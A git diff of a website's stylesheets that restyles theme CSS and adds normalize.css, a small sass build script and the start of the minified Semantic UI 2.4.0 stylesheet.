- margin-top: 3px; - margin-bottom: 3px; - color: #666; - -webkit-border-radius: 0; - border-radius: 0; -} */ +.pagination__item--gap { + color: #888; + cursor: default; + border-color: #888; +} +/* 404 */ +.page404__title { + font-size: 2.25rem; + font-weight: 700; +} -/* .toc-nav a.nav-link:hover { - background-color: transparent; - border-left: .025rem solid #45526e; - -webkit-box-shadow: none; - box-shadow: none; - color: #45526e; -} */ +.page404__lead { + margin-bottom: 2rem; + font-size: 1.5rem; +} +.page404__link { + font-size: 1.5rem; +} -/* .toc-nav a.nav-link.active, .toc-nav a.nav-link:active { - background-color: transparent; - color: black; - border-left: .125rem solid #45526e; - -webkit-box-shadow: none; - box-shadow: none; - font-weight: 500; -} */ +/* Empty state */ +.empty__icon { + margin-bottom: 2rem; + font-size: 3.5rem; +} +.empty__tip { + padding: .5rem; + margin: 4rem 0 0; + background-color: #202020; +} +/* Footer */ +.footer { + padding: .625rem 0; + margin: .3125rem 0 0; + font-size: .8125rem; + color: #888; + text-align: center; + border-top: 2px solid #333; +} +.footer__social { + display: flex; + flex-wrap: wrap; + justify-content: center; + margin-bottom: .5rem; +} -.toc-nav ul { - list-style: none; - margin-left: 1rem; - padding-left: 0; - overflow:hidden; - white-space:nowrap; +.social__link { + margin: .25rem; + font-size: 0; + background-color: #2a2a2a; + border: 1px solid #333; + fill: #999; + stroke: #999; } -.toc-nav li, .toc-nav ul { - width: 100%; +.social__link:hover { + fill: #c3c3c3; + stroke: #c3c3c3; } -.toc-nav .nav-link { - text-overflow:ellipsis; - overflow:hidden; -} +.social__icon { + width: 32px; + height: 32px; +} -.toc-nav .nav-item, .toc-nav .nav-link { - font-size: .8rem; - font-weight: 400; - line-height: 1.1rem; - padding: 0 5px; - margin-top: 2px; - margin-bottom: 2px; - /* color: #666; */ - color: var(--text-grey); - -webkit-border-radius: 0; - border-radius: 0; +.footer__links { + margin-bottom: .5rem; } -.toc-nav a.nav-link:hover { - background-color: transparent; - /* border-left: .025rem solid #45526e; */ - /* border-left: .025rem solid #38849e; */ - border-left: .025rem solid var(--active-color); - -webkit-box-shadow: none; - box-shadow: none; - /* color: #45526e; */ - /* color: #38849e; */ - color: var(--active-color); +@media screen and (min-width: 480px) { + .footer { + margin: .3125rem .3125rem 0; + } } +/* Print */ +@media print { + .post__content a, + .post__meta a, + .post__tag { + color: #000; + text-decoration: underline; + } -.toc-nav a.nav-link.active, .toc-nav a.nav-link:active { - background-color: transparent; - /* color: black; */ - /* color: #38849e; */ - color: var(--active-color); - /* border-left: .125rem solid #45526e; */ - /* border-left: .125rem solid #38849e; */ - border-left: .125rem solid var(--active-color); - -webkit-box-shadow: none; - box-shadow: none; - font-weight: 700; -} + .logo, + .block, + .post__title, + .post__title-link, + .meta-categories__link, + .post__meta, + .post__content { + color: #000; + } + .main-nav, + .comments, + .post__toc, + .related, + .footer__copyright-credits { + display: none; + } + .header, + .block { + border: 0; + } -/* + mark { + background-color: #25a; + } - Pagination - - */ - .pagination .page-item .page-link, - .pagination .page-item .page-link:hover, - .pagination .page-item.active .page-link { - margin-left: 2px; - margin-right: 2px; - -webkit-border-radius: 20%; - border-radius: 20%; - } - - .page-link{ - padding: .4rem .6rem; - } - - .pagination.active-color .page-item.active .page-link { - /* background-color: #38849e; */ - background-color: var(--active-color); - } - - - .pagination.pagination-outline .page-item .page-link { - background-color: transparent; - /* color: #333; */ - color: var(--text-dark); + blockquote { + border-color: #000; + } } - -.pagination.pagination-outline .page-item .page-link:hover { - /* background-color: #e0e0e0; */ - background-color: var(--grey-l3); - /* background-color: #9e9e9e; */ -} - -.pagination.pagination-outline .page-item .page-link:focus { - box-shadow: none; -} - -.pagination.pagination-outline .page-item.active .page-link { - border: 1px; - border-style: solid; - border-color: #4285f4; - color: #4285f4; - background-color: transparent; -} - -.pagination.pagination-outline.active-color .page-item.active .page-link { - border: 1px; - border-style: solid; - /* border-color: #38849e; */ - border-color: var(--active-color); - /* color: #38849e; */ - color: var(--active-color); - background-color: transparent; -} - - - - - -/* - Stepper - */ - - .stepper li a { - padding: 1.5rem; - font-size: .88rem; - text-align: center; -} - -.stepper-vertical { - position: relative; - display: -webkit-box; - display: -webkit-flex; - display: -ms-flexbox; - display: flex; - -webkit-box-orient: vertical; - -webkit-box-direction: normal; - -webkit-flex-direction: column; - -ms-flex-direction: column; - flex-direction: column; - -webkit-box-pack: justify; - -webkit-justify-content: space-between; - -ms-flex-pack: justify; - justify-content: space-between; -} - -.stepper-vertical li { - display: -webkit-box; - display: -webkit-flex; - display: -ms-flexbox; - display: flex; - -webkit-box-align: start; - -webkit-align-items: flex-start; - -ms-flex-align: start; - align-items: flex-start; - -webkit-box-flex: 1; - -webkit-flex: 1; - -ms-flex: 1; - flex: 1; - -webkit-box-orient: vertical; - -webkit-box-direction: normal; - -webkit-flex-direction: column; - -ms-flex-direction: column; - flex-direction: column; - position: relative; -} - -.stepper-vertical li a { - -webkit-align-self: flex-start; - -ms-flex-item-align: start; - align-self: flex-start; - display: -webkit-box; - display: -webkit-flex; - display: -ms-flexbox; - display: flex; - position: relative; -} - - -.stepper-vertical li a .circle { - -webkit-box-ordinal-group: 2; - -webkit-order: 1; - -ms-flex-order: 1; - order: 1; -} - -.stepper li a .circle { - display: inline-block; - color: #fff; - -webkit-border-radius: 50%; - border-radius: 50%; - background: rgba(0,0,0,.38); - width: 1.5rem; - height: 1.5rem; - text-align: center; - line-height: 1.5rem; - margin-right: .5rem; -} - -.stepper-vertical li:not(:last-child):after { - content: ""; - position: absolute; - width: 1px; - height: -webkit-calc(100% - 40px); - height: calc(100% - 40px); - left: 2.19rem; - top: 3.44rem; - background-color: rgba(0,0,0,.1); -} - - -/* - Timeline - */ - - @media (max-width: 1025px) { - .stepper.timeline li { - -webkit-box-align: end; - -webkit-align-items: flex-end; - -ms-flex-align: end; - align-items: flex-end; } } - -.stepper.timeline li a { - padding: 0px 24px; - left: 50%; } - @media (max-width: 450px) { - .stepper.timeline li a { - left: 6%; } } - @media (min-width: 451px) and (max-width: 1025px) { - .stepper.timeline li a { - left: 6%; } } - .stepper.timeline li a .circle { - width: 50px; - height: 50px; - line-height: 50px; - font-size: 1.4em; - text-align: center; - position: absolute; - top: 16px; - margin-left: -50px; - background-color: #ccc; - z-index: 2; } - -.stepper.timeline li .step-content { - width: 45%; - float: left; - border-radius: 2px; - position: relative; } - .stepper.timeline li .step-content:before { - position: absolute; - top: 26px; - right: -15px; - display: inline-block; - border-top: 15px solid transparent; - border-left: 15px solid #e0e0e0; - border-right: 0 solid #e0e0e0; - border-bottom: 15px solid transparent; - content: " "; } - .stepper.timeline li .step-content:after { - position: absolute; - top: 27px; - right: -14px; - display: inline-block; - border-top: 14px solid transparent; - border-left: 14px solid #fff; - border-right: 0 solid #fff; - border-bottom: 14px solid transparent; - content: " "; } - @media (max-width: 450px) { - .stepper.timeline li .step-content { - width: 80%; - left: 3rem; - margin-right: 3rem; - margin-bottom: 2rem; - float: right; } - .stepper.timeline li .step-content:before { - border-left-width: 0; - border-right-width: 15px; - left: -15px; - right: auto; } - .stepper.timeline li .step-content:after { - border-left-width: 0; - border-right-width: 14px; - left: -14px; - right: auto; } } - @media (min-width: 451px) and (max-width: 1025px) { - .stepper.timeline li .step-content { - width: 85%; - left: 3rem; - margin-right: 3rem; - margin-bottom: 2rem; - float: right; } - .stepper.timeline li .step-content:before { - border-left-width: 0; - border-right-width: 15px; - left: -15px; - right: auto; } - .stepper.timeline li .step-content:after { - border-left-width: 0; - border-right-width: 14px; - left: -14px; - right: auto; } } - -.stepper.timeline li.timeline-inverted { - -webkit-box-align: end; - -webkit-align-items: flex-end; - -ms-flex-align: end; - align-items: flex-end; } - .stepper.timeline li.timeline-inverted .step-content { - float: right; } - .stepper.timeline li.timeline-inverted .step-content:before { - border-left-width: 0; - border-right-width: 15px; - left: -15px; - right: auto; } - .stepper.timeline li.timeline-inverted .step-content:after { - border-left-width: 0; - border-right-width: 14px; - left: -14px; - right: auto; } - -.stepper.stepper-vertical li:not(:last-child):after { - content: " "; - position: absolute; - width: 3px; - background-color: #e0e0e0; - left: 50%; - top: 57px; - margin-left: -1.5px; } - @media (max-width: 450px) { - .stepper.stepper-vertical li:not(:last-child):after { - left: 6%; } } - @media (min-width: 451px) and (max-width: 1025px) { - .stepper.stepper-vertical li:not(:last-child):after { - left: 6%; } } - - -/* - Card - */ - - .card.card-cascade.wider { - -webkit-box-shadow: none; - box-shadow: none; - background-color: transparent; -} - -.card.card-cascade .view.view-cascade { - -webkit-box-shadow: 0 5px 11px 0 rgba(0,0,0,.18), 0 4px 15px 0 rgba(0,0,0,.15); - box-shadow: 0 5px 11px 0 rgba(0,0,0,.18), 0 4px 15px 0 rgba(0,0,0,.15); - -webkit-border-radius: .25rem; - border-radius: .25rem; -} - -/* .card .view { - - height: 200px; - width: 100%; - overflow: hidden; - - display: flex; - align-items: center; -} - -.card .view img { - height: 100%; - width: 100%; - margin-top: 0; - margin-bottom: 0; -} */ - -/* .card-img-top { - width: 100%; - border-top-left-radius: calc(.25rem - 1px); - border-top-right-radius: calc(.25rem - 1px); -} */ - -.card.card-cascade.wider .card-body.card-body-cascade { - -webkit-box-shadow: 0 2px 5px 0 rgba(0,0,0,.16), 0 2px 10px 0 rgba(0,0,0,.12); - box-shadow: 0 2px 5px 0 rgba(0,0,0,.16), 0 2px 10px 0 rgba(0,0,0,.12); - margin-left: 4%; - margin-right: 4%; - background: #fff; - z-index: 1; - -webkit-border-radius: 0 0 .25rem .25rem; - border-radius: 0 0 .25rem .25rem; -} - - - -/* - temp term list - */ - - .post-item { - display: -webkit-flex; - display: -moz-flex; - display: -ms-flexbox; - display: -ms-flex; - display: flex; - -webkit-align-items: center; - -moz-align-items: center; - -ms-align-items: center; - align-items: center; - display: list-item; - list-style: disc inside; - - display: flex; - list-style: none; -} - -.post-item .meta { - color: #666; - display: flex; - min-width: 100px; - text-align: right; - margin-right: 16px; -} - -.no-bullet { - color: transparent; - font-style: oblique; - margin-top: 2rem; - margin-bottom: 1rem; -} - -.no-bullet .date { - font-size: 18px; - font-family: 'Raleway', 'Helvetica Neue', 'Arial', sans-serif; - letter-spacing: -0.005rem; - font-weight: 700; - color: #333; - color: #666 !important; - font-style: normal; -} \ No newline at end of file diff --git a/public/css/normalize.css b/public/css/normalize.css new file mode 100644 index 00000000..192eb9ce --- /dev/null +++ b/public/css/normalize.css @@ -0,0 +1,349 @@ +/*! normalize.css v8.0.1 | MIT License | github.com/necolas/normalize.css */ + +/* Document + ========================================================================== */ + +/** + * 1. Correct the line height in all browsers. + * 2. Prevent adjustments of font size after orientation changes in iOS. + */ + +html { + line-height: 1.15; /* 1 */ + -webkit-text-size-adjust: 100%; /* 2 */ +} + +/* Sections + ========================================================================== */ + +/** + * Remove the margin in all browsers. + */ + +body { + margin: 0; +} + +/** + * Render the `main` element consistently in IE. + */ + +main { + display: block; +} + +/** + * Correct the font size and margin on `h1` elements within `section` and + * `article` contexts in Chrome, Firefox, and Safari. + */ + +h1 { + font-size: 2em; + margin: 0.67em 0; +} + +/* Grouping content + ========================================================================== */ + +/** + * 1. Add the correct box sizing in Firefox. + * 2. Show the overflow in Edge and IE. + */ + +hr { + box-sizing: content-box; /* 1 */ + height: 0; /* 1 */ + overflow: visible; /* 2 */ +} + +/** + * 1. Correct the inheritance and scaling of font size in all browsers. + * 2. Correct the odd `em` font sizing in all browsers. + */ + +pre { + font-family: monospace, monospace; /* 1 */ + font-size: 1em; /* 2 */ +} + +/* Text-level semantics + ========================================================================== */ + +/** + * Remove the gray background on active links in IE 10. + */ + +a { + background-color: transparent; +} + +/** + * 1. Remove the bottom border in Chrome 57- + * 2. Add the correct text decoration in Chrome, Edge, IE, Opera, and Safari. + */ + +abbr[title] { + border-bottom: none; /* 1 */ + text-decoration: underline; /* 2 */ + text-decoration: underline dotted; /* 2 */ +} + +/** + * Add the correct font weight in Chrome, Edge, and Safari. + */ + +b, +strong { + font-weight: bolder; +} + +/** + * 1. Correct the inheritance and scaling of font size in all browsers. + * 2. Correct the odd `em` font sizing in all browsers. + */ + +code, +kbd, +samp { + font-family: monospace, monospace; /* 1 */ + font-size: 1em; /* 2 */ +} + +/** + * Add the correct font size in all browsers. + */ + +small { + font-size: 80%; +} + +/** + * Prevent `sub` and `sup` elements from affecting the line height in + * all browsers. + */ + +sub, +sup { + font-size: 75%; + line-height: 0; + position: relative; + vertical-align: baseline; +} + +sub { + bottom: -0.25em; +} + +sup { + top: -0.5em; +} + +/* Embedded content + ========================================================================== */ + +/** + * Remove the border on images inside links in IE 10. + */ + +img { + border-style: none; +} + +/* Forms + ========================================================================== */ + +/** + * 1. Change the font styles in all browsers. + * 2. Remove the margin in Firefox and Safari. + */ + +button, +input, +optgroup, +select, +textarea { + font-family: inherit; /* 1 */ + font-size: 100%; /* 1 */ + line-height: 1.15; /* 1 */ + margin: 0; /* 2 */ +} + +/** + * Show the overflow in IE. + * 1. Show the overflow in Edge. + */ + +button, +input { /* 1 */ + overflow: visible; +} + +/** + * Remove the inheritance of text transform in Edge, Firefox, and IE. + * 1. Remove the inheritance of text transform in Firefox. + */ + +button, +select { /* 1 */ + text-transform: none; +} + +/** + * Correct the inability to style clickable types in iOS and Safari. + */ + +button, +[type="button"], +[type="reset"], +[type="submit"] { + -webkit-appearance: button; +} + +/** + * Remove the inner border and padding in Firefox. + */ + +button::-moz-focus-inner, +[type="button"]::-moz-focus-inner, +[type="reset"]::-moz-focus-inner, +[type="submit"]::-moz-focus-inner { + border-style: none; + padding: 0; +} + +/** + * Restore the focus styles unset by the previous rule. + */ + +button:-moz-focusring, +[type="button"]:-moz-focusring, +[type="reset"]:-moz-focusring, +[type="submit"]:-moz-focusring { + outline: 1px dotted ButtonText; +} + +/** + * Correct the padding in Firefox. + */ + +fieldset { + padding: 0.35em 0.75em 0.625em; +} + +/** + * 1. Correct the text wrapping in Edge and IE. + * 2. Correct the color inheritance from `fieldset` elements in IE. + * 3. Remove the padding so developers are not caught out when they zero out + * `fieldset` elements in all browsers. + */ + +legend { + box-sizing: border-box; /* 1 */ + color: inherit; /* 2 */ + display: table; /* 1 */ + max-width: 100%; /* 1 */ + padding: 0; /* 3 */ + white-space: normal; /* 1 */ +} + +/** + * Add the correct vertical alignment in Chrome, Firefox, and Opera. + */ + +progress { + vertical-align: baseline; +} + +/** + * Remove the default vertical scrollbar in IE 10+. + */ + +textarea { + overflow: auto; +} + +/** + * 1. Add the correct box sizing in IE 10. + * 2. Remove the padding in IE 10. + */ + +[type="checkbox"], +[type="radio"] { + box-sizing: border-box; /* 1 */ + padding: 0; /* 2 */ +} + +/** + * Correct the cursor style of increment and decrement buttons in Chrome. + */ + +[type="number"]::-webkit-inner-spin-button, +[type="number"]::-webkit-outer-spin-button { + height: auto; +} + +/** + * 1. Correct the odd appearance in Chrome and Safari. + * 2. Correct the outline style in Safari. + */ + +[type="search"] { + -webkit-appearance: textfield; /* 1 */ + outline-offset: -2px; /* 2 */ +} + +/** + * Remove the inner padding in Chrome and Safari on macOS. + */ + +[type="search"]::-webkit-search-decoration { + -webkit-appearance: none; +} + +/** + * 1. Correct the inability to style clickable types in iOS and Safari. + * 2. Change font properties to `inherit` in Safari. + */ + +::-webkit-file-upload-button { + -webkit-appearance: button; /* 1 */ + font: inherit; /* 2 */ +} + +/* Interactive + ========================================================================== */ + +/* + * Add the correct display in Edge, IE 10+, and Firefox. + */ + +details { + display: block; +} + +/* + * Add the correct display in all browsers. + */ + +summary { + display: list-item; +} + +/* Misc + ========================================================================== */ + +/** + * Add the correct display in IE 10+. + */ + +template { + display: none; +} + +/** + * Add the correct display in IE 10. + */ + +[hidden] { + display: none; +} diff --git a/public/css/scssgo b/public/css/scssgo new file mode 100755 index 00000000..49073de3 --- /dev/null +++ b/public/css/scssgo @@ -0,0 +1,3 @@ +#!/bin/sh +sass style.scss > style.min.css --style compressed +sass style.scss > style.css diff --git a/public/css/semantic.min.css b/public/css/semantic.min.css new file mode 100755 index 00000000..ff120465 --- /dev/null +++ b/public/css/semantic.min.css @@ -0,0 +1,372 @@ + /* + * # Semantic UI - 2.4.0 + * https://github.com/Semantic-Org/Semantic-UI + * http://www.semantic-ui.com/ + * + * Copyright 2014 Contributors + * Released under the MIT license + * http://opensource.org/licenses/MIT + * + */ +@import url(https://fonts.googleapis.com/css?family=Lato:400,700,400italic,700italic&subset=latin);/*! + * # Semantic UI 2.4.0 - Reset + * http://github.com/semantic-org/semantic-ui/ + * + * + * Released under the MIT license + * http://opensource.org/licenses/MIT + * + */*,:after,:before{-webkit-box-sizing:inherit;box-sizing:inherit}html{-webkit-box-sizing:border-box;box-sizing:border-box}input[type=email],input[type=password],input[type=search],input[type=text]{-webkit-appearance:none;-moz-appearance:none}/*! normalize.css v7.0.0 | MIT License | github.com/necolas/normalize.css */html{line-height:1.15;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,footer,header,nav,section{display:block}h1{font-size:2em;margin:.67em 0}figcaption,figure,main{display:block}figure{margin:1em 40px}hr{-webkit-box-sizing:content-box;box-sizing:content-box;height:0;overflow:visible}pre{font-family:monospace,monospace;font-size:1em}a{background-color:transparent;-webkit-text-decoration-skip:objects}abbr[title]{border-bottom:none;text-decoration:underline;-webkit-text-decoration:underline dotted;text-decoration:underline dotted}b,strong{font-weight:inherit}b,strong{font-weight:bolder}code,kbd,samp{font-family:monospace,monospace;font-size:1em}dfn{font-style:italic}mark{background-color:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}audio,video{display:inline-block}audio:not([controls]){display:none;height:0}img{border-style:none}svg:not(:root){overflow:hidden}button,input,optgroup,select,textarea{font-family:sans-serif;font-size:100%;line-height:1.15;margin:0}button,input{overflow:visible}button,select{text-transform:none}[type=reset],[type=submit],button,html [type=button]{-webkit-appearance:button}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner,button::-moz-focus-inner{border-style:none;padding:0}[type=button]:-moz-focusring,[type=reset]:-moz-focusring,[type=submit]:-moz-focusring,button:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{-webkit-box-sizing:border-box;box-sizing:border-box;color:inherit;display:table;max-width:100%;padding:0;white-space:normal}progress{display:inline-block;vertical-align:baseline}textarea{overflow:auto}[type=checkbox],[type=radio]{-webkit-box-sizing:border-box;box-sizing:border-box;padding:0}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]{-webkit-appearance:textfield;outline-offset:-2px}[type=search]::-webkit-search-cancel-button,[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}details,menu{display:block}summary{display:list-item}canvas{display:inline-block}template{display:none}[hidden]{display:none}/*! + * # Semantic UI 2.4.0 - Site + * http://github.com/semantic-org/semantic-ui/ + * + * + * Released under the MIT license + * http://opensource.org/licenses/MIT + * + */body,html{height:100%}html{font-size:14px}body{margin:0;padding:0;overflow-x:hidden;min-width:320px;background:#fff;font-family:Lato,'Helvetica Neue',Arial,Helvetica,sans-serif;font-size:14px;line-height:1.4285em;color:rgba(0,0,0,.87);font-smoothing:antialiased}h1,h2,h3,h4,h5{font-family:Lato,'Helvetica Neue',Arial,Helvetica,sans-serif;line-height:1.28571429em;margin:calc(2rem - .14285714em) 0 1rem;font-weight:700;padding:0}h1{min-height:1rem;font-size:2rem}h2{font-size:1.71428571rem}h3{font-size:1.28571429rem}h4{font-size:1.07142857rem}h5{font-size:1rem}h1:first-child,h2:first-child,h3:first-child,h4:first-child,h5:first-child{margin-top:0}h1:last-child,h2:last-child,h3:last-child,h4:last-child,h5:last-child{margin-bottom:0}p{margin:0 0 1em;line-height:1.4285em}p:first-child{margin-top:0}p:last-child{margin-bottom:0}a{color:#4183c4;text-decoration:none}a:hover{color:#1e70bf;text-decoration:none}::-webkit-selection{background-color:#cce2ff;color:rgba(0,0,0,.87)}::-moz-selection{background-color:#cce2ff;color:rgba(0,0,0,.87)}::selection{background-color:#cce2ff;color:rgba(0,0,0,.87)}input::-webkit-selection,textarea::-webkit-selection{background-color:rgba(100,100,100,.4);color:rgba(0,0,0,.87)}input::-moz-selection,textarea::-moz-selection{background-color:rgba(100,100,100,.4);color:rgba(0,0,0,.87)}input::selection,textarea::selection{background-color:rgba(100,100,100,.4);color:rgba(0,0,0,.87)}body ::-webkit-scrollbar{-webkit-appearance:none;width:10px;height:10px}body ::-webkit-scrollbar-track{background:rgba(0,0,0,.1);border-radius:0}body ::-webkit-scrollbar-thumb{cursor:pointer;border-radius:5px;background:rgba(0,0,0,.25);-webkit-transition:color .2s ease;transition:color .2s ease}body ::-webkit-scrollbar-thumb:window-inactive{background:rgba(0,0,0,.15)}body ::-webkit-scrollbar-thumb:hover{background:rgba(128,135,139,.8)}body .ui.inverted::-webkit-scrollbar-track{background:rgba(255,255,255,.1)}body .ui.inverted::-webkit-scrollbar-thumb{background:rgba(255,255,255,.25)}body .ui.inverted::-webkit-scrollbar-thumb:window-inactive{background:rgba(255,255,255,.15)}body .ui.inverted::-webkit-scrollbar-thumb:hover{background:rgba(255,255,255,.35)}/*! + * # Semantic UI 2.4.0 - Button + * http://github.com/semantic-org/semantic-ui/ + * + * + * Released under the MIT license + * http://opensource.org/licenses/MIT + * + */.ui.button{cursor:pointer;display:inline-block;min-height:1em;outline:0;border:none;vertical-align:baseline;background:#e0e1e2 none;color:rgba(0,0,0,.6);font-family:Lato,'Helvetica Neue',Arial,Helvetica,sans-serif;margin:0 .25em 0 0;padding:.78571429em 1.5em .78571429em;text-transform:none;text-shadow:none;font-weight:700;line-height:1em;font-style:normal;text-align:center;text-decoration:none;border-radius:.28571429rem;-webkit-box-shadow:0 0 0 1px transparent inset,0 0 0 0 rgba(34,36,38,.15) inset;box-shadow:0 0 0 1px transparent inset,0 0 0 0 rgba(34,36,38,.15) inset;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;-webkit-transition:opacity .1s ease,background-color .1s ease,color .1s ease,background .1s ease,-webkit-box-shadow .1s ease;transition:opacity .1s ease,background-color .1s ease,color .1s ease,background .1s ease,-webkit-box-shadow .1s ease;transition:opacity .1s ease,background-color .1s ease,color .1s ease,box-shadow .1s ease,background .1s ease;transition:opacity .1s ease,background-color .1s ease,color .1s ease,box-shadow .1s ease,background .1s ease,-webkit-box-shadow .1s ease;will-change:'';-webkit-tap-highlight-color:transparent}.ui.button:hover{background-color:#cacbcd;background-image:none;-webkit-box-shadow:0 0 0 1px transparent inset,0 0 0 0 rgba(34,36,38,.15) inset;box-shadow:0 0 0 1px transparent inset,0 0 0 0 rgba(34,36,38,.15) inset;color:rgba(0,0,0,.8)}.ui.button:hover .icon{opacity:.85}.ui.button:focus{background-color:#cacbcd;color:rgba(0,0,0,.8);background-image:''!important;-webkit-box-shadow:''!important;box-shadow:''!important}.ui.button:focus .icon{opacity:.85}.ui.active.button:active,.ui.button:active{background-color:#babbbc;background-image:'';color:rgba(0,0,0,.9);-webkit-box-shadow:0 0 0 1px transparent inset,none;box-shadow:0 0 0 1px transparent inset,none}.ui.active.button{background-color:#c0c1c2;background-image:none;-webkit-box-shadow:0 0 0 1px transparent inset;box-shadow:0 0 0 1px transparent inset;color:rgba(0,0,0,.95)}.ui.active.button:hover{background-color:#c0c1c2;background-image:none;color:rgba(0,0,0,.95)}.ui.active.button:active{background-color:#c0c1c2;background-image:none}.ui.loading.loading.loading.loading.loading.loading.button{position:relative;cursor:default;text-shadow:none!important;color:transparent!important;opacity:1;pointer-events:auto;-webkit-transition:all 0s linear,opacity .1s ease;transition:all 0s linear,opacity .1s ease}.ui.loading.button:before{position:absolute;content:'';top:50%;left:50%;margin:-.64285714em 0 0 -.64285714em;width:1.28571429em;height:1.28571429em;border-radius:500rem;border:.2em solid rgba(0,0,0,.15)}.ui.loading.button:after{position:absolute;content:'';top:50%;left:50%;margin:-.64285714em 0 0 -.64285714em;width:1.28571429em;height:1.28571429em;-webkit-animation:button-spin .6s linear;animation:button-spin .6s linear;-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite;border-radius:500rem;border-color:#fff transparent transparent;border-style:solid;border-width:.2em;-webkit-box-shadow:0 0 0 1px transparent;box-shadow:0 0 0 1px transparent}.ui.labeled.icon.loading.button .icon{background-color:transparent;-webkit-box-shadow:none;box-shadow:none}@-webkit-keyframes button-spin{from{-webkit-transform:rotate(0);transform:rotate(0)}to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes button-spin{from{-webkit-transform:rotate(0);transform:rotate(0)}to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}.ui.basic.loading.button:not(.inverted):before{border-color:rgba(0,0,0,.1)}.ui.basic.loading.button:not(.inverted):after{border-top-color:#767676}.ui.button:disabled,.ui.buttons .disabled.button,.ui.disabled.active.button,.ui.disabled.button,.ui.disabled.button:hover{cursor:default;opacity:.45!important;background-image:none!important;-webkit-box-shadow:none!important;box-shadow:none!important;pointer-events:none!important}.ui.basic.buttons .ui.disabled.button{border-color:rgba(34,36,38,.5)}.ui.animated.button{position:relative;overflow:hidden;padding-right:0!important;vertical-align:middle;z-index:1}.ui.animated.button .content{will-change:transform,opacity}.ui.animated.button .visible.content{position:relative;margin-right:1.5em}.ui.animated.button .hidden.content{position:absolute;width:100%}.ui.animated.button .hidden.content,.ui.animated.button .visible.content{-webkit-transition:right .3s ease 0s;transition:right .3s ease 0s}.ui.animated.button .visible.content{left:auto;right:0}.ui.animated.button .hidden.content{top:50%;left:auto;right:-100%;margin-top:-.5em}.ui.animated.button:focus .visible.content,.ui.animated.button:hover .visible.content{left:auto;right:200%}.ui.animated.button:focus .hidden.content,.ui.animated.button:hover .hidden.content{left:auto;right:0}.ui.vertical.animated.button .hidden.content,.ui.vertical.animated.button .visible.content{-webkit-transition:top .3s ease,-webkit-transform .3s ease;transition:top .3s ease,-webkit-transform .3s ease;transition:top .3s ease,transform .3s ease;transition:top .3s ease,transform .3s ease,-webkit-transform .3s ease}.ui.vertical.animated.button .visible.content{-webkit-transform:translateY(0);transform:translateY(0);right:auto}.ui.vertical.animated.button .hidden.content{top:-50%;left:0;right:auto}.ui.vertical.animated.button:focus .visible.content,.ui.vertical.animated.button:hover .visible.content{-webkit-transform:translateY(200%);transform:translateY(200%);right:auto}.ui.vertical.animated.button:focus .hidden.content,.ui.vertical.animated.button:hover .hidden.content{top:50%;right:auto}.ui.fade.animated.button .hidden.content,.ui.fade.animated.button .visible.content{-webkit-transition:opacity .3s ease,-webkit-transform .3s ease;transition:opacity .3s ease,-webkit-transform .3s ease;transition:opacity .3s ease,transform .3s ease;transition:opacity .3s ease,transform .3s ease,-webkit-transform .3s ease}.ui.fade.animated.button .visible.content{left:auto;right:auto;opacity:1;-webkit-transform:scale(1);transform:scale(1)}.ui.fade.animated.button .hidden.content{opacity:0;left:0;right:auto;-webkit-transform:scale(1.5);transform:scale(1.5)}.ui.fade.animated.button:focus .visible.content,.ui.fade.animated.button:hover .visible.content{left:auto;right:auto;opacity:0;-webkit-transform:scale(.75);transform:scale(.75)}.ui.fade.animated.button:focus .hidden.content,.ui.fade.animated.button:hover .hidden.content{left:0;right:auto;opacity:1;-webkit-transform:scale(1);transform:scale(1)}.ui.inverted.button{-webkit-box-shadow:0 0 0 2px #fff inset!important;box-shadow:0 0 0 2px #fff inset!important;background:transparent none;color:#fff;text-shadow:none!important}.ui.inverted.buttons .button{margin:0 0 0 -2px}.ui.inverted.buttons .button:first-child{margin-left:0}.ui.inverted.vertical.buttons .button{margin:0 0 -2px 0}.ui.inverted.vertical.buttons .button:first-child{margin-top:0}.ui.inverted.button:hover{background:#fff;-webkit-box-shadow:0 0 0 2px #fff inset!important;box-shadow:0 0 0 2px #fff inset!important;color:rgba(0,0,0,.8)}.ui.inverted.button.active,.ui.inverted.button:focus{background:#fff;-webkit-box-shadow:0 0 0 2px #fff inset!important;box-shadow:0 0 0 2px #fff inset!important;color:rgba(0,0,0,.8)}.ui.inverted.button.active:focus{background:#dcddde;-webkit-box-shadow:0 0 0 2px #dcddde inset!important;box-shadow:0 0 0 2px #dcddde inset!important;color:rgba(0,0,0,.8)}.ui.labeled.button:not(.icon){display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row;background:0 0!important;padding:0!important;border:none!important;-webkit-box-shadow:none!important;box-shadow:none!important}.ui.labeled.button>.button{margin:0}.ui.labeled.button>.label{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;margin:0 0 0 -1px!important;padding:'';font-size:1em;border-color:rgba(34,36,38,.15)}.ui.labeled.button>.tag.label:before{width:1.85em;height:1.85em}.ui.labeled.button:not([class*="left labeled"])>.button{border-top-right-radius:0;border-bottom-right-radius:0}.ui.labeled.button:not([class*="left labeled"])>.label{border-top-left-radius:0;border-bottom-left-radius:0}.ui[class*="left labeled"].button>.button{border-top-left-radius:0;border-bottom-left-radius:0}.ui[class*="left labeled"].button>.label{border-top-right-radius:0;border-bottom-right-radius:0}.ui.facebook.button{background-color:#3b5998;color:#fff;text-shadow:none;background-image:none;-webkit-box-shadow:0 0 0 0 rgba(34,36,38,.15) inset;box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.facebook.button:hover{background-color:#304d8a;color:#fff;text-shadow:none}.ui.facebook.button:active{background-color:#2d4373;color:#fff;text-shadow:none}.ui.twitter.button{background-color:#55acee;color:#fff;text-shadow:none;background-image:none;-webkit-box-shadow:0 0 0 0 